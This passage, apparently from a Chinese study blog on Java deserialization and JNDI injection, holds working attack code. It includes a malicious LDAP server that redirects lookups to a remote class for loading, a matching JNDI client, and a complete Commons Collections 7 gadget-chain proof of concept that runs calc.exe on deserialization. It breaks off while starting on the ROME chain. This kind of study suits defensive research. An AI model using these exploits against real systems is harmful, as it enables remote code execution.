com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;\nimport com.unboundid.ldap.sdk.Entry;\nimport com.unboundid.ldap.sdk.LDAPException;\nimport com.unboundid.ldap.sdk.LDAPResult;\nimport com.unboundid.ldap.sdk.ResultCode;\n\nimport javax.net.ServerSocketFactory;\nimport javax.net.SocketFactory;\nimport javax.net.ssl.SSLSocketFactory;\nimport java.net.InetAddress;\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\npublic class LdapServer {\n    private static final String LDAP_BASE = \"dc=example,dc=com\";\n\n\n    public static void main(String&#91;] args) {\n\n        String url = \"http:\/\/127.0.0.1:9999\/#EvilObj\";\n        int port = 39654;\n\n        try {\n            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);\n            config.setListenerConfigs(new InMemoryListenerConfig(\n                    \"listen\",\n                    InetAddress.getByName(\"0.0.0.0\"),\n                    port,\n                    ServerSocketFactory.getDefault(),\n                    SocketFactory.getDefault(),\n                    (SSLSocketFactory) SSLSocketFactory.getDefault()));\n\n            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));\n            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);\n            System.out.println(\"Listening on 0.0.0.0:\" + port);\n            ds.startListening();\n\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n\n    private static class OperationInterceptor extends InMemoryOperationInterceptor {\n\n        private URL codebase;\n\n        public OperationInterceptor(URL cb) {\n            this.codebase = cb;\n        }\n\n        \/**\n         * {@inheritDoc}\n         *\n         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)\n         *\/\n        @Override\n        public void processSearchResult(InMemoryInterceptedSearchResult result) {\n            String base = result.getRequest().getBaseDN();\n            Entry e = new Entry(base);\n            try {\n                sendResult(result, base, e);\n            } catch (Exception e1) {\n                e1.printStackTrace();\n            }\n\n        }\n\n        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException, MalformedURLException {\n            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '\/').concat(\".class\"));\n            System.out.println(\"Send LDAP reference result for \" + base + \" redirecting to \" + turl);\n            e.addAttribute(\"javaClassName\", \"Exploit\");\n            String cbstring = this.codebase.toString();\n            int refPos = cbstring.indexOf('#');\n            if (refPos &gt; 0) {\n                cbstring = cbstring.substring(0, refPos);\n            }\n            e.addAttribute(\"javaCodeBase\", cbstring);\n            e.addAttribute(\"objectClass\", \"javaNamingReference\");\n            e.addAttribute(\"javaFactory\", this.codebase.getRef());\n            result.sendSearchEntry(e);\n            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\n        }\n\n    }\n\n}\n\n<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u914d\u7f6e\u5ba2\u6237\u7aef\uff0c\u4e3b\u8981\u662f\u521b\u5efa\u4e00\u4e2a <code>InitialContext<\/code> \u5b9e\u4f8b\u5e76\u5411 LDAP \u670d\u52a1\u5668\u67e5\u8be2\u6307\u5b9a\u8def\u5f84\u7684\u6761\u76ee\uff08<code>ldap:\/\/127.0.0.1:39654\/aaa<\/code>\uff09\uff0c\u670d\u52a1\u5668\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u6076\u610f\u7c7b\u5f15\u7528\u7684 LDAP \u54cd\u5e94\uff0cJNDI \u4f1a\u6839\u636e\u8fd9\u4e9b\u4fe1\u606f\u5c1d\u8bd5\u52a0\u8f7d\u5e76\u6267\u884c\u6076\u610f\u7c7b\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JNDI;\n\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\n\npublic class LdapClient {\n    public static void main(String&#91;] args) throws Exception {\n        String url = \"ldap:\/\/127.0.0.1:39654\/aaa\";  \/\/ \u5411LDAP\u670d\u52a1\u5668\u53d1\u9001\u67e5\u8be2\u8bf7\u6c42\n        Context context = new InitialContext();\n        context.lookup(url);  \/\/ \u4f7f\u7528JNDI\u67e5\u8be2\u6076\u610f\u7c7b\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u63a5\u7740\u4f9d\u6b21\u542f\u52a8\u670d\u52a1\u7aef\u548c\u5ba2\u6237\u7aef\u5373\u53ef\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-225110-29-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F04%2FQQ20250429-225110-29-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>+------------------+                          +-------------------+\n|                  |                          |                   |\n|   LdapClient     |  ----(\u67e5\u8be2\u8bf7\u6c42)---&gt;      |   LdapServer      |\n|                  |                          |                   |\n|  1. \u53d1\u8d77LDAP\u8bf7\u6c42 |                          |  2. \u8fd4\u56de\u6076\u610f\u7c7b\u5f15\u7528 |\n|                  |                          |                   |\n+------------------+                          +-------------------+\n        ^                                             |\n        |    &lt;----(\u6076\u610f\u7c7b\u5f15\u7528)------                 |\n        |                                            |\n        |                                            v\n        |                                    +-------------------+\n        |                                    |  OperationInterceptor |\n        |                                    |  3. \u62e6\u622a\u8bf7\u6c42\u5e76\u53d1\u9001\u6076\u610f\u7c7b\u5f15\u7528 |\n        |                                    +-------------------+\n        |                                             |\n        v                                             |\n  4. \u5ba2\u6237\u7aef\u52a0\u8f7d\u6076\u610f\u7c7b\u5e76\u6267\u884c                       |\n        |--------------------------------------------&gt;\n        |                                     \n    5. \u89e6\u53d1\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u540e\u8bb0<\/h2>\n\n\n\n<p>\u5bf9\u4e8eRMI\uff0cJDK 6u132, JDK 7u122, JDK 8u113 \u5f00\u59cb\u5f00\u59cb<code>com.sun.jndi.rmi.object.trustURLCodebase<\/code>&nbsp;\u9ed8\u8ba4\u503c\u4e3afalse\uff0c\u6240\u4ee5\u9ed8\u8ba4\u4e0d\u4fe1\u4efb\u8fdc\u7a0b\u4ee3\u7801\u7684\uff0c\u65e0\u6cd5\u52a0\u8f7d\u8fdc\u7a0b RMI \u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u5bf9\u4e8eLDAP\uff0c\u5728Oracle JDK 6u211\u30017u201\u30018u191\u300111.0.1\u4e4b\u540e\uff0c<code>com.sun.jndi.ldap.object.trustURLCodebase<\/code>\u5c5e\u6027\u7684\u9ed8\u8ba4\u503c\u88ab\u8bbe\u7f6e\u4e3afalse\uff0c\u5bf9LDAP Reference\u8fdc\u7a0b\u5de5\u5382\u7c7b\u7684\u52a0\u8f7d\u589e\u52a0\u4e86\u9650\u5236<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">CommonsCollections7<\/h1>\n\n\n\n<p>\u8fd9\u6b21\u6765\u5230CC\u5927\u5bb6\u65cf\u4e2d\u7684CC7\uff0cCC7\u662f\u4eceCC6\u6539\u8fc7\u6765\u7684\uff0c\u6211\u672c\u5730\u7684\u73af\u5883\u8fd8\u662fjdk 1.8.0_65\u548cCC3.2.1\uff0c\u5177\u4f53\u7684gadget\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Gadget chain:\n    Hashtable.readObject\n        Hashtable.reconstitutionPut\n            AbstractMapDecorator.equals\n            AbstractMap.equals\n               LazyMap.get()\n                    ChainedTransformer.transform()\n                      ConstantTransformer.transform()\n                      InvokerTransformer.transform()\n                        Method.invoke()\n                          Class.getMethod()\n                      InvokerTransformer.transform()\n                        Method.invoke()\n                          Runtime.getRuntime()\n                      InvokerTransformer.transform()\n                        Method.invoke()\n                          Runtime.exec()<\/code><\/pre>\n\n\n\n<p>\u770bgadget\u5c31\u770b\u5f97\u51fa\u6765\uff0c\u6838\u5fc3\u662f\u7528 <code>AbstractMap#equals<\/code>  \u89e6\u53d1\u5230 <code>LazyMap#get<\/code> \u65b9\u6cd5\u8fdb\u800c\u89e6\u53d1transform\u65b9\u6cd5\u8fdb\u5165\u5229\u7528\u94fe\uff0c\u7136\u540e\u5c31\u548cCC1\u7684\u540e\u534a\u6bb5\u4e00\u6837\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class&#91;]{\n                        String.class,\n                        Class&#91;].class}, new Object&#91;]{\"getRuntime\",\n                        new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\", new Class&#91;]{Object.class,\n                        Object&#91;].class}, new Object&#91;]{null, new Object&#91;0]\n                }),\n                new InvokerTransformer(\"exec\", new Class&#91;]{String.class},\n                        new String&#91;]{\n                                \"calc.exe\"}),\n        };<\/code><\/pre>\n\n\n\n<p>\u90a3\u4e48\u6211\u4eec\u5c31\u9996\u5148\u770b\u5230gadget\u7684\u5f00\u5934\uff0c<code>Hashtable#readObject<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-155746-3-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-155746-3-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:656px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u4e3b\u8981\u5c31\u662f\u89e6\u53d1\u4e86 <code>reconstitutionPut<\/code> \uff0c\u7ee7\u7eed\u8ddf\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-160002-3-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-160002-3-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:592px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u7684\u5173\u952e\u662f\u8fd9\u4e2a <code>e.key.equals(key)<\/code>\uff0c\u800cLazyMap\u91cc\u662f\u6ca1\u6709equals\u65b9\u6cd5\u7684\uff0c\u6240\u4ee5\u5b83\u8c03\u7528\u7684\u5176\u5b9e\u662f\u5b83\u7684\u7236\u7c7b\u91cc\u7684<code>AbstractMapDecorator#equals<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-161815-3-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-161815-3-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:750px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u5b83\u5728\u8fd9\u91cc\u8c03\u7528\u4e86 <code>this.map.equals(object)<\/code>\uff0c\u6211\u4eec\u6784\u9020\u6076\u610f\u94fe\u7684\u65f6\u5019\uff0c\u4f1a\u5229\u7528LazyMap\u7684decorate\u5c06Hashtable\u5c5e\u6027\u4f20\u7ed9map\uff0c\u6240\u4ee5\u8fd9\u91cc\u8c03\u7528\u7684\u4f1a\u662f <code>HashMap#equals<\/code>\uff0c\u800cHashMap\u91cc\u5176\u5b9e\u4e5f\u6ca1\u6709equals\u65b9\u6cd5\uff0c\u8fd9\u91cc\u8c03\u7528\u7684\u5176\u5b9e\u662f\u7ee7\u627f\u6765\u7684 <code>AbstractMap#equals<\/code> \uff0c\u8fd9\u91cc\u53ef\u4ee5\u89e6\u53d1 <code>LazyMap#get<\/code>\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u89e6\u53d1transformer\u8fdb\u800cRCE\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-162007-3-5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-162007-3-5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:651px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u73b0\u5728\u56de\u5230\u5f00\u5934\uff0c\u60f3\u8981\u8c03\u7528 <code>e.key.equals(key)<\/code>\u5176\u5b9e\u8fd8\u5fc5\u987b\u6ee1\u8db3 <code>e.hash == hash<\/code>\uff0c\u8fd9\u91cc\u5c31\u9700\u8981\u7528\u5230\u4e00\u4e2atrick\uff0c\u6784\u9020\u4e24\u4e2aLazyMap\uff0c\u8ba9\u4e24\u4e2aLazyMap\u7684hash\u6070\u597d\u76f8\u7b49\uff0c\u518d\u628aLazyMap\u5b58\u5165hashtable\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Map innerMap1 = new HashMap();\nMap innerMap2 = new HashMap();\n\/\/ Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject\nMap lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);\nlazyMap1.put(\"yy\", 1);\nMap lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);\nlazyMap2.put(\"zZ\", 1);\nHashtable hashtable = new Hashtable();\nhashtable.put(lazyMap1, 1);\nhashtable.put(lazyMap2, 2);\nReflections.setFieldValue(transformerChain, \"iTransformers\", transformers);<\/code><\/pre>\n\n\n\n<p>\u4f46\u8fd9\u91cc\u6709\u4e2a\u5c0f\u95ee\u9898\uff0c\u6211\u4eec\u5fc5\u987b\u8981\u5728\u53cd\u5e8f\u5217\u5316\u4e4b\u524dremove\u6389\u6211\u4eec\u5199\u5165\u7684yy\uff0c\u5426\u5219\u8fd9\u91cc\u7684equals\u5c31\u8d70\u4e0d\u4e86\u4e86\uff0ckey\u91cc\u4f1a\u591a\u4e00\u4e2ayy\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-164116-3-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-164116-3-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:742px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u662f\u56e0\u4e3aHashtable\u8c03\u7528put\u65b9\u6cd5\u6dfb\u52a0\u7b2c\u4e8c\u4e2a\u5143\u7d20\u7684\u65f6\u5019\u4f1a\u6839\u636ekey\u5224\u65ad\u662f\u5426\u662f\u540c\u4e00\u5143\u7d20\uff0c\u8c03\u7528\u4e86equal\u5c31\u4f1a\u63d2\u5165&#8221;yy&#8221;\uff0c\u6211\u4eec\u79fb\u9664\u4e00\u4e0b\u5373\u53ef\uff0c\u73b0\u5728\u5b8c\u6574\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package com.CC;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.ObjectInputStream;\nimport java.io.ObjectOutputStream;\nimport java.lang.reflect.Field;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.Map;\n\npublic class CC7 {\n    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {\n        Field field = obj.getClass().getDeclaredField(fieldName);\n        field.setAccessible(true);\n        field.set(obj, value);\n    }\n\n    public static void main(String&#91;] args) throws Exception {\n        Transformer transformerChain = new ChainedTransformer(new Transformer&#91;]{});\n        Transformer&#91;] transformers = new Transformer&#91;]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\",\n                        new Class&#91;]{String.class, Class&#91;].class},\n                        new Object&#91;]{\"getRuntime\", new Class&#91;0]}),\n                new InvokerTransformer(\"invoke\",\n                        new Class&#91;]{Object.class, Object&#91;].class},\n                        new Object&#91;]{null, new Object&#91;0]}),\n                new InvokerTransformer(\"exec\",\n                        new Class&#91;]{String.class},\n                        new String&#91;]{\"calc.exe\"}),\n                new ConstantTransformer(1)\n        };\n\n        Map innerMap1 = new HashMap();\n        Map innerMap2 = new HashMap();\n\n        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);\n        lazyMap1.put(\"yy\", 1);\n        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);\n        lazyMap2.put(\"zZ\", 1);\n\n        Hashtable table = new Hashtable();\n        table.put(lazyMap1, 1);\n        table.put(lazyMap2, 2);\n\n        setFieldValue(transformerChain, \"iTransformers\", transformers);\n        lazyMap2.remove(\"yy\");\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(table);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        ois.readObject();\n\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-164628-3-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-164628-3-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:771px;height:auto\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">ROME\u94fe<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">yso\u5229\u7528\u94fe<\/h2>\n\n\n\n<p>yso\u91cc\u7684gadget\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> * TemplatesImpl.getOutputProperties()\n * NativeMethodAccessorImpl.invoke0(Method, Object, Object&#91;])\n * NativeMethodAccessorImpl.invoke(Object, Object&#91;])\n * DelegatingMethodAccessorImpl.invoke(Object, Object&#91;])\n * Method.invoke(Object, Object...)\n * ToStringBean.toString(String)\n * ToStringBean.toString()\n * ObjectBean.toString()\n * EqualsBean.beanHashCode()\n * ObjectBean.hashCode()\n * HashMap&lt;K,V&gt;.hash(Object)\n * HashMap&lt;K,V&gt;.readObject(ObjectInputStream)<\/code><\/pre>\n\n\n\n<p>\u9700\u8981\u7684\u4f9d\u8d56\u662f<a href=\"https:\/\/mvnrepository.com\/artifact\/rome\/rome\/1.0\">rome 1.0<\/a><\/p>\n\n\n\n<p>\u4ece\u91cc\u5f80\u5916\u770b\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u7684\u8001\u670b\u53cb <code>TemplatesImpl#getOutputProperties<\/code>\uff0cCB1\u91cc\u7528\u8fc7\u8fd9\u4e1c\u897f\uff0c\u5b83\u80fd\u8c03\u7528 <code>newTransformer<\/code>&nbsp;\u8fdb\u800c\u89e6\u53d1 <code>TemplatesImpl<\/code>&nbsp;\u94fe\u5b50\u3002\u800c\u89e6\u53d1 <code>TemplatesImpl#getOutputProperties<\/code> \u7684\u5173\u952e\u70b9\u5728\u4e8e <code>ToStringBean#toString<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-171139-3-8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-171139-3-8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" style=\"width:704px;height:auto\"\/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6709\u4e00\u4e2a <code>getPropertyDescriptors<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-171525-3-9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-171525-3-9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u73a9\u610f\u513f\u7684\u4f5c\u7528\u662f\u5206\u6790\u7c7b\u7684\u7ed3\u6784\uff0c\u627e\u51fa\u54ea\u4e9b\u65b9\u6cd5\u662f\u6807\u51c6\u7684 getter\/setter \u65b9\u6cd5\uff0c\u63a5\u7740\u5728 <code>ToStringBean#toString<\/code> \u7684\u540e\u9762\u5c31\u7528invoke\u8fdb\u884c\u89e6\u53d1\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u4f20\u5165\u4e00\u4e2a<code>OutputProperties<\/code>\uff0c\u63a5\u7740 invoke \u5c31\u4f1a\u6267\u884c <code>getOutputProperties<\/code>\u4e86\u3002<\/p>\n\n\n\n<p>\u5728gadget\u91cc\u53ef\u4ee5\u770b\u5230\u8c03\u7528 <code>ToStringBean.toString(String)<\/code>\u4e4b\u524d\u8fd8\u8c03\u7528\u4e86\u4e00\u6b21<code>ToStringBean#toString()<\/code>\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-172016-3-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250503-172016-3-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" 